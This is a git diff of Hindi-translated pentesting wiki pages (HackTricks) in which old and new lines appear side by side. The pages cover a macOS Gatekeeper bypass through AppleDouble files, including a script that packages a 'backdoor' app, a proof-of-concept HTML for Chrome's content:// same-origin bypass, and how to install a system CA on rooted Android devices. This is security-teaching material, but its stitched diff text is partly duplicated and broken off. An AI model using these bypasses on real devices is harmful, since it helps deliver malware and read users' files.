AppleDouble फ़ाइल प्रारूप एक अलग फ़ाइल में फ़ाइल की विशेषताएँ स्टोर करता है जो `._` से शुरू होता है, यह मदद करता है **macOS मशीनों के बीच फ़ाइल विशेषताएँ कॉपी करने में**। हालांकि, एक AppleDouble फ़ाइल को डीकंप्रेस करने के बाद यह नोटिस किया गया कि `._` से शुरू होने वाली फ़ाइल को **quarantine विशेषता नहीं दी गई थी**
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
AppleDouble फ़ाइल प्रारूप एक फ़ाइल की विशेषताएँ `._` से शुरू होने वाली एक अलग फ़ाइल में संग्रहित करते हैं, यह मदद करता है **macOS मशीनों के बीच फ़ाइल विशेषताएँ कॉपी करने में**। हालांकि, एक AppleDouble फ़ाइल को डीकंप्रेस करने के बाद यह नोटिस किया गया कि `._` से शुरू होने वाली फ़ाइल को **quarantine विशेषता नहीं दी गई थी**
```bash
mkdir test
echo a > test/a
@ -389,10 +400,10 @@ aa archive -d test/ -o test.aar
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
```
{% endcode %}
एक फ़ाइल बनाने में सक्षम होना जिसमें quarantine गुण सेट नहीं होगा, इससे **Gatekeeper को छलना संभव था।** यह ट्रिक थी **एक DMG फ़ाइल एप्लिकेशन बनाना** जिसका नामकरण AppleDouble नाम परंपरा का हो (इसे `._` से शुरू करें) और **इस छिपी हुई** फ़ाइल के लिए एक दृश्यमान फ़ाइल को सिम लिंक के रूप में बनाएं जिसमें quarantine गुण नहीं है।\
जब **dmg फ़ाइल को क्रियान्वित किया जाता है**, क्योंकि इसमें quarantine गुण नहीं है, यह **Gatekeeper को छलाएगा।**
एक फ़ाइल बनाने में सक्षम होना जिसमें quarantine विशेषता सेट नहीं है, यह **Gatekeeper को छलकरना संभव था।** यह ट्रिक थी **एक DMG फ़ाइल एप्लिकेशन बनाना** जिसका नामकरण AppleDouble नाम परंपरा का उपयोग करके करें (इसे `._` से शुरू करें) और इस quarantine विशेषता के बिना **छिपी हुई** फ़ाइल के रूप में एक दृश्यमान फ़ाइल बनाएं।\
जब **dmg फ़ाइल को क्रियान्वित किया जाता है**, क्योंकि इसमें quarantine विशेषता नहीं है, इससे **Gatekeeper को छलाना** होगा।
```bash
# Create an app bundle with the backdoor an call it app.app
@ -408,9 +419,10 @@ ln -s ._app.dmg s/app/app.dmg
echo "[+] compressing files"
aa archive -d s/ -o app.aar
```
### जांच रोकें xattr
#### जांच रोकें xattr को
एक ".app" बंडल में अगर quarantine xattr नहीं जोड़ा गया है, तो जब इसे निष्पादित किया जाएगा **Gatekeeper को ट्रिगर नहीं किया जाएगा**
एक ".app" बंडल में अगर quarantine xattr नहीं जोड़ा गया है, तो जब इसे निष्पादित किया जाएगा **तो Gatekeeper को ट्रिगर नहीं किया जाएगा**
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
</details>
{% embed url="https://websec.nl/" %}

View file

@ -1,31 +1,34 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**यह [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) पोस्ट का सारांश है**
### मीडिया स्टोर में फ़ाइलों की सूचीबद्धि
### मीडिया स्टोर में फ़ाइलों की सूची बनाना
मीडिया स्टोर द्वारा प्रबंधित फ़ाइलों की सूची बनाने के लिए, नीचे दिए गए कमांड का उपयोग किया जा सकता है:
```bash
$ content query --uri content://media/external/file
```
एक और मानव-मित्र स्थिति के लिए, केवल पहचानकर्ता और पथ को प्रदर्शित करने के लिए प्रत्येक सूचीत फ़ाइल:
एक और मानव-मित्र उत्पादन के लिए, केवल पहचानकर्ता और पथ प्रदर्शित करने के लिए प्रत्येक सूचीत फ़ाइल:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
### Chrome का सामग्री प्रदाताओं तक पहुंचना
Android पर Chrome `content://` योजना के माध्यम से सामग्री प्रदाताओं तक पहुंच सकता है, जिससे यह तीसरे पक्ष के एप्लिकेशन द्वारा निर्यात की गई फोटो या दस्तावेज़ जैस संसाधनों तक पहुंच सकता है। इसका उदाहरण देने के लिए, एक फ़ाइल को मीडिया स्टोर में डाला जा सकता है और फिर Chrome के माध्यम से उसका उपयोग किया जा सकता है:
### Chrome की Content Providers तक पहुंच
Android पर Chrome `content://` scheme के माध्यम से content providers तक पहुंच सकता है, जिससे यह तीसरे पक्ष के एप्लिकेशन द्वारा निर्यात की गई फोटो या दस्तावेज़ जैस संसाधनों तक पहुंच सकता है। इसका उदाहरण देने के लिए, एक फ़ाइल को मीडिया स्टोर में डाला जा सकता है और फिर Chrome के माध्यम से उसका उपयोग किया जा सकता है:
मीडिया स्टोर में एक कस्टम एंट्री डालें:
```bash
@ -41,7 +44,7 @@ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
फाइल फिर Chrome में देखी जा सकती है उस URL का उपयोग करके जो फाइल की पहचानकर्ता के साथ निर्मित है।
फाइल फिर Chrome में देखी जा सकती है उस URL का उपयोग करके जो फाइल की पहचानकर्ता के साथ निर्मित है।
उदाहरण के लिए, किसी विशिष्ट एप्लिकेशन से संबंधित फ़ाइलों की सूची बनाने के लिए:
```bash
@ -49,13 +52,13 @@ content query --uri content://media/external/file --projection _id,_data | grep
```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
_Same Origin Policy_ (SOP) एक सुरक्षा प्रोटोकॉल है जो ब्राउज़र में वेब पेजों को विभिन्न मूलों से संसाधनों के साथ बातचीत करने से रोकता है जब तक Cross-Origin-Resource-Sharing (CORS) नीति द्वारा व्यक्तिगत रूप से अनुमति न दी जाए। यह नीति सूचना लीक और क्रॉस-साइट अनुरोध फर्जी से बचाने का उद्देश्य रखती है। Chrome `content://` को स्थानीय योजना मानता है, जिससे अधिक सख्त SOP नियम होते हैं, जहां प्रत्येक स्थानीय योजना URL को एक अलग मूल के रूप में व्यवहार किया जाता है।
_Same Origin Policy_ (SOP) एक सुरक्षा प्रोटोकॉल है जो ब्राउज़र में वेब पेजों को विभिन्न मूलों से संसाधनों के साथ बातचीत करने से रोकता है जब तक Cross-Origin-Resource-Sharing (CORS) नीति द्वारा व्यक्तिगत रूप से अनुमति न दी जाए। यह नीति सूचना लीक और क्रॉस-साइट अनुरोध फर्जी से बचाने का उद्देश्य रखती है। Chrome `content://` को स्थानीय योजना के रूप में मानता है, जिससे अधिक सख्त SOP नियम होते हैं, जहां प्रत्येक स्थानीय योजना URL को एक अलग मूल के रूप में व्यवहार किया जाता है।
हालांकि, CVE-2020-6516 एक व्यवस्था थी Chrome में जिसने `content://` URL के माध्यम से लोड किए गए संसाधनों के लिए SOP नियमों को उल्टा करने की अनुमति दी। प्रभाव में, `content://` URL से JavaScript कोड दूसरे `content://` URLs के माध्यम से लोड किए गए अन्य संसाधनों तक पहुंचने की अनुमति देता था, जो विशेष रूप से Android 10 से पहले के संस्करणों पर एक महत्वपूर्ण सुरक्षा चिंता थी, जहां स्कोप्ड स्टोरेज को लागू नहीं किया गया था।
हालांकि, CVE-2020-6516 एक व्यवस्था में एक कमी थी जिसने Chrome में SOP नियमों को `content://` URL के माध्यम से लोड किए गए संसाधनों के लिए एक बायपास की अनुमति दी। प्रभाव में, `content://` URL के माध्यम से लोड किए गए अन्य संसाधनों तक JavaScript कोड तक पहुंच सकता था, जो खासकर Android डिवाइस पर एक महत्वपूर्ण सुरक्षा चिंता थी, खासकर Android 10 से पहले के संस्करणों पर, जहां स्कोप्ड स्टोरेज को लागू नहीं किया गया था।
नीचे दिया गया प्रमाण-कार HTML इस व्यवस्था को दर्शाता है, जहां एक HTML दस्तावेज़, **/sdcard** के तहत अपलोड करने के बाद और मीडिया स्टोर में जोड़ने के बाद, अपने JavaScript में `XMLHttpRequest` का उपयोग करता है ताकि वह एक और फ़ाइल क सामग्री तक पहुंच सके और उसे प्रदर्शित कर सके, SOP नियमों को उल्टा करते हुए
नीचे दिया गया प्रमाण-कोन्सेप्ट इस कमी को प्रदर्शित करता है, जहां एक HTML दस्तावेज़, **/sdcard** के तहत अपलोड करने के बाद और मीडिया स्टोर में जोड़ने के बाद, अपने JavaScript में `XMLHttpRequest` का उपयोग करता है ताकि वह एक और फ़ाइल क सामग्री तक पहुंच सके और उसे प्रदर्शित कर सके, SOP नियमों को छलकर
प्रमाण-कार HTML:
प्रमाण-कोन्सेप्ट HTML:
```xml
<html>
<head>
@ -84,14 +87,18 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।

View file

@ -6,22 +6,27 @@
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) का खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## एक वर्चुअल मशीन पर
सबसे पहले, आपको बर्प से Der प्रमाणपत्र डाउनलोड करने की आवश्यकता है। आप इसे _**प्रॉक्सी**_ --> _**विकल्प**_ --> _**आयात / निर्यात सीए प्रमाणपत्र**_ में कर सकते हैं।
![](<../../.gitbook/assets/image (367).png>)
**Der प्रारूप में प्रमाणपत्र निर्यात** करें और इसे एक रूप में **परिवर्तित** करें जिसे **Android** समझ सके। ध्यान दें कि **एवीडी में बर्प प्रमाणपत्र कॉन्फ़िगर करने के लिए** आपको इस मशीन को **`-writable-system`** विकल्प के साथ **चलाने** की आवश्यकता है।\
उदाहरण के लिए, आप इसे इस प्रकार चला सकते हैं:
**Der प्रारूप में प्रमाणपत्र निर्यात** करें और इसे एक रूप में **परिवर्तित** करें जिसे **Android** समझ सकेगा। ध्यान दें कि **एवीडी में एंड्रॉइड मशीन पर बर्प प्रमाणपत्र कॉन्फ़िगर करने के लिए** आपको इस मशीन को **`-writable-system`** विकल्प के साथ **चलाने** की आवश्यकता है।\
उदाहरण के लिए आप इसे इस प्रकार चला सकते हैं:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
@ -42,33 +47,39 @@ adb reboot #Now, reboot the machine
```
{% endcode %}
जब **मशीन पूरी तरह से रिबूट हो जाएगी** तो बर्प सर्टिफिकेट उसके द्वारा उपयोग में होगा!
एक बार **मशीन पूरी तरह से रिबूट होने** के बाद बर्प सर्टिफिकेट उसके द्वारा उपयोग में होगा!
## मैजिस्क का उपयोग
यदि आपने अपनी डिवाइस को मैजिस्क के साथ **रूट किया है** (शायद एक एम्युलेटर), और आप पिछले **चरणों** का पालन नहीं कर सकते क्योंकि **फ़ाइल सिस्टम केवल पढ़ने योग्य है** और आप इसे लिखने योग्य नहीं कर सकते, तो एक और तरीका है।
यदि आपने अपनी डिवाइस को मैजिस्क के साथ रूट किया है (शायद एक एम्युलेटर), और आप पिछले **स्टेप्स** का पालन नहीं कर सकते हैं ताकि बर्प सर्टिफिकेट इंस्टॉल कर सकें क्योंकि **फ़ाइल सिस्टम केवल पढ़ने योग्य है** और आप इसे राइटेबल नहीं रीमाउंट कर सकते, तो एक और तरीका है।
[**इस वीडियो**](https://www.youtube.com/watch?v=qQicUW0svB8) में स्पष्ट किया गया है कि आपको:
1. **सीए सर्टिफिकेट इंस्टॉल करें**: बस डीईआर बर्प सर्टिफिकेट को **एक्सटेंशन बदलकर** `.crt` में बदलकर मोबाइल में डाउनलोड्स फ़ोल्डर में स्टोर करें और `सर्टिफिकेट इंस्टॉल करें` -> `सीए सर्टिफिकेट` पर जाएं
1. **सीए सर्टिफिकेट इंस्टॉल करें**: बस मोबाइल में डाउनलोड्स फ़ोल्डर में स्टोर होने के लिए DER बर्प सर्टिफिकेट को `.crt` एक्सटेंशन में बदलकर ड्रैग एंड ड्रॉप करें और `Install a certificate` -> `CA certificate` पर जाएं
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
* यह सुनिश्चित करें कि सर्टिफिकेट सही ढंग से स्टोर हुआ है जाकर `विश्वसनीय प्रमाणपत्र` -> `उपयोगकर्ता` पर जाएं
* सर्टिफिकेट सही ढंग से स्टोर हुआ है यह जांचने के लिए `Trusted credentials` -> `USER` पर जाएं
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
2. **इसे सिस्टम विश्वसनीय बनाएं**: मैजिस्क मॉड्यूल [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (एक .zip फ़ाइल) डाउनलोड करें, इसे फ़ोन में **ड्रैग एंड ड्रॉप करें**, फ़ोन में मैजिक्स ऐप में जाएं **`मॉड्यूल्स`** खंड में, `.zip` मॉड्यूल को चुनें और एक बार इंस्टॉल करने के बाद फ़ोन को **रीबूट** करें:
2. **इसे सिस्टम विश्वसनीय बनाएं**: मैजिस्क मॉड्यूल [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (एक .zip फ़ाइल) डाउनलोड करें, फ़ोन में ड्रैग एंड ड्रॉप करें, फ़ोन में मैजिक्स ऐप में जाएं `Modules` सेक्शन में, `.zip` मॉड्यूल को चुनें और इंस्टॉल करने के बाद फ़ोन को **रीबूट** करें:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
* रीबूट करने के बाद, `विश्वसनीय प्रमाणपत्र` -> `सिस्टम` पर जाएं और देखें कि पोस्टस्विगर सर्ट है या नहीं
* रीबूट करने के बाद, `Trusted credentials` -> `SYSTEM` पर जाएं और चेक करें कि पोस्ट्स्विगर सर्टिफिकेट वहाँ है
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (53).png" alt="" width="314"><figcaption></figcaption></figure>
## एंड्रॉइड 14 के बाद
नवीनतम एंड्रॉइड 14 रिलीज में, सिस्टम-विश्वसनीय सर्टिफिकेट प्राधिकरण (सीए) सर्टिफिकेटों के संचालन में एक महत्वपूर्ण परिवर्तन देखा गया है। पहले, ये सर्टिफिकेट **`/system/etc/security/cacerts/`** में स्थित थे, जिन्हें रूट विशेषाधिकार वाले उपयोगकर्ताओं द्वारा पहुंचने और संशोधित करने की अनुमति थी, जिससे प्रणाली पर तत्काल लागू हो सकता था। हालांकि, एंड्रॉइड 14 के साथ, स्टोरेज स्थानक को **`/apex/com.android.conscrypt/cacerts`** में स्थानांतरित किया गया है, जो **`/apex`** पथ के भीतर एक निर्विकार स्थान है।
नवीनतम एंड्रॉइड 14 रिलीज में, सिस्टम-विश्वसनीय सर्टिफिकेट अथॉरिटी (CA) सर्टिफिकेट्स के हैंडलिंग में एक महत्वपूर्ण परिवर्तन देखा गया है। पहले, ये सर्टिफिकेट्स **`/system/etc/security/cacerts/`** में रखे गए थे, जिन्हें रूट प्राइविलेज़ वाले उपयोगकर्ताओं द्वारा एक्सेस और मॉडिफाई किया जा सकता था, जिससे सिस्टम पर तत्काल लागू हो सकता था। हालांकि, एंड्रॉइड 14 के साथ, स्टोरेज स्थानक को **`/apex/com.android.conscrypt/cacerts`** में स्थानांतरित किया गया है, जो **`/apex`** पथ के भीतर एक निर्विवाद स्थान है, जो प्राकृतिक रूप से अपरिवर्तनीय है।
एपेक्स कैकर्ट्स पथ को राइटेबल रूप में रीमाउंट करने की कोशिशें विफल होती हैं, क्योंकि सिस्टम ऐसे ऑपरेशन की अनुमति नहीं देता। यहाँ तक कि डायरेक्टरी को एक अस्थायी फ़ाइल सिस्टम (tmpfs) के साथ अनमाउंट या ओवरले करने की कोशिशें भी अपरिवर्तनीता को नहीं दूर करती हैं; एप्लिकेशन्स फ़ाइल सिस्टम स्तर पर परिवर्तनों का अवलोकन करते रहते हैं। यह सहनशीलता **`/apex`** माउंट को प्राइवेट प्रोपेगेशन के साथ कॉन्फ़िगर करने से होती है, जिससे सुनिश्चित होता है कि **`/apex`** डायरेक्टरी के अंदर के कोई भी परिवर्तन अन्य प्रक्रियाओं पर प्रभाव नहीं डालते।
एंड्रॉइड की आरंभिकीकरण में `init` प्रक्रिया शामिल है, जो ऑपरेटिंग सिस्टम की शुरुआत पर जब शुरू होती है, तो जाइगोट प्रक्रिया को भी आरंभ करती है। यह प्रक्रिया एक नए माउंट नेमस्पेस के साथ एप्लिकेशन प्रक्रियाओं को लॉन्च करने के लिए जिम्मेदार है, जिसमें एक प्राइवेट **`/apex`** माउंट शामिल है, जिससे इस डायरेक्टरी में किए गए परिवर्तनों को अन्य प्रक्रियाओं से अलग किया जाता है।
हालांकि, **`/apex`** डायरेक्टरी के भीतर सिस्टम-विश्वसनीय सीए सर्टिफिकेट्स को संशोधित करने वालों के लिए एक उपाय मौजूद है। इसमें **`/apex`** को प्राइवेट प्रोपेगेशन को हटाने के लिए मैन्युअल रीमाउंट करना शामिल है, जिससे इसे राइटेबल बनाया जा सके। इस प्रक्रिया में शामिल है **`/apex/com.android.conscrypt`** की सामग्री की किसी अन्य स्थान पर कॉपी करना, **`/apex/com.android.conscrypt`** डायरेक्टरी को अनमाउंट करना ताकि रीड-ओनली बाधा को हटाया जा सके, और फिर सामग्री को उनके मूल स्थान पर **`/apex`** के भीतर पुनर्स्थापित करना। इस दृष्टि को लागू करने के लिए इन परिवर्तनों को सिस्टम-व्यापी रूप से सुनिश्चित करने के लिए, `system_server` को पुनः आरंभ करने की सिफारिश की जाती है, जिससे सभी एप्लिकेशन्स को पुनः आरंभ किया जाता है और सिस्टम को एक संगत स्थिति में लाता है।
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -128,12 +139,12 @@ echo "System certificate injected"
```
### NSEnter के माध्यम से बाइंड-माउंटिंग
1. **एक लिखने योग्य निर्देशिका सेट करना**: पहले, मौजूदा गैर-APEX सिस्टम प्रमाणपत्र निर्देशिका पर `tmpfs` को माउंट करके एक लिखने योग्य निर्देशिका स्थापित की जाती है। यह निम्नलिखित कमांड के साथ प्राप्त किया जाता है:
1. **एक लिखने योग्य निर्देशिका सेट करना**: प्रारंभ में, मौजूदा गैर-APEX सिस्टम प्रमाणपत्र निर्देशिका पर `tmpfs` को माउंट करके एक लिखने योग्य निर्देशिका स्थापित की जाती है। इसे निम्नलिखित कमांड के साथ प्राप्त किया जाता है:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **तैयारी CA प्रमाणपत्र**: लेखनीय निर्देशिका की सेटअप के बाद, उन CA प्रमाणपत्रों को इस निर्देशिका में कॉपी किया जाना चाहिए जिन्हें आप उपयोग करना चाहते हैं। इसमें `/apex/com.android.conscrypt/cacerts/` से डिफ़ॉल्ट प्रमाणपत्रों की कॉपी शामिल हो सकती है। इन प्रमाणपत्रों की अनुरूप अनुमतियों और SELinux लेबल को सही ढंग से समायोजित करना महत्वपूर्ण है।
3. **Zygote के लिए बाइंड माउंटिंग**: `nsenter` का उपयोग करके, व्यक्ति Zygote के माउंट नेमस्पेस में प्रवेश करता है। Zygote, जो Android एप्लिकेशन लॉन्च करने के लिए जिम्मेदार प्रक्रिया है, इस कदम को सुनिश्चित करने के लिए कि आगे से आरंभ की गई सभी एप्लिकेशन नए कॉन्फ़िगर किए गए CA प्रमाणपत्रों का उपयोग करें। इस्तेमाल किया जाने वाला कमांड है:
2. **CA प्रमाणपत्र तैयार करना**: लेखनीय निर्देशिका की सेटअप के बाद, उन CA प्रमाणपत्रों को इस निर्देशिका में कॉपी किया जाना चाहिए जिन्हें आप उपयोग करना चाहते हैं। इसमें शामिल हो सकता है कि डिफ़ॉल्ट प्रमाणपत्रों को `/apex/com.android.conscrypt/cacerts/` से कॉपी किया जाए। इन प्रमाणपत्रों की अनुरूप अनुमतियों और SELinux लेबल को समायोजित करना महत्वपूर्ण है।
3. **Zygote के लिए बाइंड माउंटिंग**: `nsenter` का उपयोग करके, कोई Zygote के माउंट नेमस्पेस में प्रवेश करता है। Zygote, जो Android एप्लिकेशन लॉन्च करने के लिए जिम्मेदार प्रक्रिया है, इस कदम को सुनिश्चित करने के लिए आवश्यकता है कि आगे से प्रारंभ की गई सभी एप्लिकेशन नए संविचित CA प्रमाणपत्रों का उपयोग करें। उपयोग किया जाने वाला कमांड है:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
@ -143,22 +154,26 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/securi
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **वैकल्पिक दृष्टिकोण - सॉफ्ट रीबूट**: एक वैकल्पिक विधि में `init` प्रक्रिया (PID 1) पर बाइंड माउंट करना शामिल है, जिसके बाद ऑपरेटिंग सिस्टम को `stop && start` कमांड के साथ सॉफ्ट रीबूट करना। यह दृष्टिकोण सभी नेमस्पेस में परिवर्तनों को फैलाएगा, जिससे हर चल रहे ऐप्लिकेशन को व्यक्तिगत रूप से संबोधित करने की आवश्यकता नहीं होगी। हालांकि, इस विधि को आम तौर पर पुनरारंभ करने की असुविधा के कारण अधिक पसंद नहीं किया जाता है।
5. **वैकल्पिक दृष्टिकोण - सॉफ्ट रीबूट**: एक वैकल्पिक विधि में `init` प्रक्रिया (PID 1) पर बाइंड माउंट करना शामिल है, जिसके बाद ऑपरेटिंग सिस्टम को `stop && start` कमांड के साथ सॉफ्ट रीबूट करना। यह दृष्टिकोण परिवर्तनों को सभी नेमस्पेस में फैलाएगा, जिससे हर चल रहे ऐप्लिकेशन को व्यक्तिगत रूप से संबोधित करने की आवश्यकता नहीं होगी। हालांकि, इस विधि को आम तौर पर पुनरारंभ करने की असुविधा के कारण क पसंद किया जाता है।
## संदर्भ
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
